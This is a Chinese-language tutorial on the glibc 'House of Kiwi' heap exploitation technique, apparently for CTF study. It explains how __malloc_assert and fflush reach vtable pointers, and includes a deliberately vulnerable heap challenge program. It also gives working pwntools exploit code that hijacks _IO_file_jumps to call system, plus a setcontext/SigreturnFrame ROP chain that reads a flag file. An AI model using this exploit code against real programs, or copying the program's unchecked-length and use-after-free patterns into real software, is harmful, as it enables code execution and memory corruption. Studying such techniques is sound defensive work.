House of Kiwi 攻击手法详解
原理概述
House of Kiwi 是一种利用 glibc 中 __malloc_assert 函数触发 IO 流调用来实现程序流劫持的攻击手法。当程序正常调用 exit 退出时可以通过劫持 vtable 上的 _IO_overflow 来实现程序流劫持(如 FSOP),但如果程序调用 _exit 退出,则不会进行 IO 相关的清理工作。House of Kiwi 通过主动触发异常退出来调用 vtable 上的相关函数。
关键函数分析
在 glibc 2.35 及之前版本中,__malloc_assert 函数实现如下:
static void __malloc_assert(const char *assertion, const char *file,
unsigned int line, const char *function) {
(void)__fxprintf(NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "", file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush(stderr);
abort();
}
在 sysmalloc 中有一个检查 top chunk 页对齐的代码片段:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
当条件满足时会调用 __malloc_assert,进而调用 fflush(stderr),最终调用 _IO_fflush。
攻击链分析
fflush最终会调用_IO_fflushresult = _IO_SYNC(fp) ? EOF : 0;对应的汇编语句是fflush+83往后- 其中
rbp指向_IO_file_jumps_,因此call [rbp + 0x60]调用的是_IO_new_file_sync _IO_file_jumps_在 glibc 2.35 是可写的,可以覆盖其中的函数指针
Shell 例题分析
题目代码
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1: add_chunk(); break;
case 2: delete_chunk(); break;
case 3: edit_chunk(); break;
case 4: show_chunk(); break;
case 5: _exit(0);
default: puts("invalid choice.");
}
}
}
利用步骤
-
泄露堆地址:
- 利用 tcache 的 safe-linking 机制泄露堆地址
- safe-linking 对 next 指针进行运算:
(pos >> 12) ^ ptr
-
劫持 tcache_perthread_struct:
- 通过 double free 等技术控制 tcache 管理结构
- 修改 tcache 计数,使后续释放的 chunk 进入 unsorted bin
-
泄露 libc 地址:
- 通过 unsorted bin 泄露 main_arena 地址
-
任意地址写:
- 利用 tcache_perthread_struct 控制实现任意地址写
-
House of Kiwi 利用:
- 修改
_IO_file_jumps中的_IO_new_file_sync函数指针为 one_gadget 或 system - 或者修改
_IO_helper_jumps配合 setcontext 实现 ORW
- 修改
关键代码片段
# 泄露堆地址
add(0, 0x100)
add(1, 0x100)
add(2, 0x100)
free(0)
show(0)
heap_base = u64(io.recvuntil(b'\x05')[-5:].ljust(8, b'\x00')) << 12
# 劫持 tcache_perthread_struct
edit(0, p64(heap_base >> 12) + p64(0))
free(0)
edit(0, p64((heap_base >> 12 ^ (heap_base + 0x20))))
add(0, 0x100)
add(0, 0x100)
edit(0, b'\x00' * 14 + p16(0x7))
# 泄露 libc 地址
free(1)
show(1)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x1f2ce0
# 任意地址写函数
def arbitrary_address_write(address, content):
align = address & 0xF
address &= ~0xF
edit(0, (b'\x00' * 14 + p16(0x7)).ljust(0xE8, b'\x00') + p64(address))
add(1, 0x100)
edit(1, b'\x00' * align + content)
# House of Kiwi 利用 (system)
arbitrary_address_write(libc.sym["_IO_2_1_stderr_"], b"/bin/sh\x00")
arbitrary_address_write(libc.sym["_IO_file_jumps"], p64(libc.sym["system"]) * 0x10)
# 触发
edit(2, b'\x00' * 0x110)
add(0, 0x300)
ORW 利用
当禁用 execve 时,可以使用 setcontext+61 配合 ROP 或 shellcode 实现 ORW。
setcontext+61 分析
mov rsp, [rdx + 0xA0h]
mov rbx, [rdx + 80h]
mov rbp, [rdx + 78h]
mov r12, [rdx + 48h]
mov r13, [rdx + 50h]
mov r14, [rdx + 58h]
mov r15, [rdx + 60h]
...
mov rcx, [rdx + 0xA8h]
push rcx
mov rsi, [rdx + 70h]
mov rdi, [rdx + 68h]
mov rcx, [rdx + 98h]
mov r8, [rdx + 28h]
mov r9, [rdx + 30h]
mov rdx, [rdx + 88h]
xor eax, eax
retn
ORW 利用代码
# 修改 _IO_file_jumps 中的 _IO_new_file_sync 为 setcontext+61
arbitrary_address_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))
# 准备 ROP 链
rop_addr = heap_base + 0x4c0
buf_addr = rop_addr + 0x70
rop = b''
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop rbx; ret;'), executable=True)))
rop += p64(0x100) + p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])
rop = rop.ljust(buf_addr - rop_addr, b'\x00')
rop += b'./flag'
# 构造 SigreturnFrame
frame = SigreturnFrame()
frame.rsp = rop_addr
frame.rdi = buf_addr
frame.rsi = 0
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[0x38:0x38+8] = p64(libc.sym['_IO_default_xsputn'])
# 修改 _IO_helper_jumps
arbitrary_address_write(libc.sym['__start___libc_IO_vtables'], bytes(frame))
# 触发
edit(2, rop.ljust(0x110, b'\x00'))
add(0, 0x300)
关键点说明
-
frame[0x38:0x38+8] = p64(libc.sym['_IO_default_xsputn'])是必要的,因为在调用 setcontext 前会执行call [rbx + 0x38],而 rbx 指向_IO_helper_jumps,需要确保这个位置是一个合法函数指针。 -
使用
__start___libc_IO_vtables而非_IO_helper_jumps是因为内存中有多个_IO_helper_jumps,前者指向第一个。 -
ROP 链实现了以下功能:
- 打开文件 (open)
- 读取文件内容 (read)
- 输出文件内容 (puts)
总结
House of Kiwi 提供了一种在程序中调用 IO 流的思路,主要利用点包括:
- 通过破坏 top chunk 触发
__malloc_assert - 利用
fflush调用链中的 vtable 函数指针 - 修改
_IO_file_jumps或_IO_helper_jumps实现控制流劫持 - 结合 setcontext+61 实现寄存器控制,完成复杂利用
该攻击手法在 glibc 2.36 之后受到限制,因为 __malloc_assert 函数被修改,2.37 后被完全移除。